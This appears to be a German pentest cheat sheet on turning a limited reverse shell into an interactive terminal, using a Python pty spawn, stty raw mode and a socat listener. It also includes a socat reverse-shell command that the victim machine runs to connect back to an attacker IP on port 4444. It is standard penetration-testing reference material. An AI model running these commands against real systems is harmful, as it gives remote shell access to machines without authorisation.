Shell Upgrade Cheatsheet Commands

Verbesserte Shells sind essenziell, um effizient auf entfernten Systemen zu arbeiten, besonders wenn nur eingeschränkte oder instabile Shells verfügbar sind. Hier sind einige Techniken, um eine einfache Shell in eine voll funktionsfähige interaktive Shell aufzurüsten.

Verwendung von Python für ein Pseudo-Terminal

Nutze Python, um ein Pseudo-Terminal zu erzeugen:

python -c 'import pty; pty.spawn("/bin/bash")'

Dieser Befehl startet /bin/bash innerhalb eines Pseudo-Terminals, was die Shell interaktiver und stabiler macht.

Einsatz von Socat

Listener (lokales System):

socat file:`tty`,raw,echo=0 tcp-listen:4444

Opfer (entferntes System):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Ihre_IP>:4444

Hinweis: Ersetze <Ihre_IP> durch die IP-Adresse deines lokalen Systems.

Mit Socat kannst du Datenströme zwischen zwei Punkten übertragen. In diesem Fall leitet es die Shell vom entfernten System zu deinem lokalen Terminal weiter.

Nutzung von stty-Optionen

Schritte auf der Reverse Shell:

  1. Starte ein Pseudo-Terminal:

    python -c 'import pty; pty.spawn("/bin/bash")'
  2. Bringe die Shell in den Hintergrund:

    • Drücke Ctrl + Z

Schritte auf deinem lokalen System (z. B. Kali Linux):

  1. Setze das Terminal in den Raw-Modus:

    stty raw -echo
  2. Hole die Shell zurück in den Vordergrund:

    fg

Zurück auf der Reverse Shell:

  1. Setze das Terminal zurück:

    reset
  2. Exportiere die notwendige Umgebungsvariablen:

    export SHELL=bash
    export TERM=xterm-256color
  3. Stelle die Terminalgröße ein (ersetze <Zeilen> und <Spalten> entsprechend):

    stty rows <Zeilen> columns <Spalten>

Diese Methode stellt sicher, dass die Shell korrekt mit dem Terminal kommuniziert, und behebt Probleme mit der Anzeige oder der Eingabe.

Weitere hilfreiche Techniken

Kennst du weitere nützliche Methoden, um Shells aufzurüsten? Teile sie gerne in den Kommentaren oder kontaktiere mich auf Twitter.

Viel Erfolg!


ShellUpgradeReverseShellPtySocatLinuxTerminalPenTestHackingLinuxTips

Gehacktes-Overview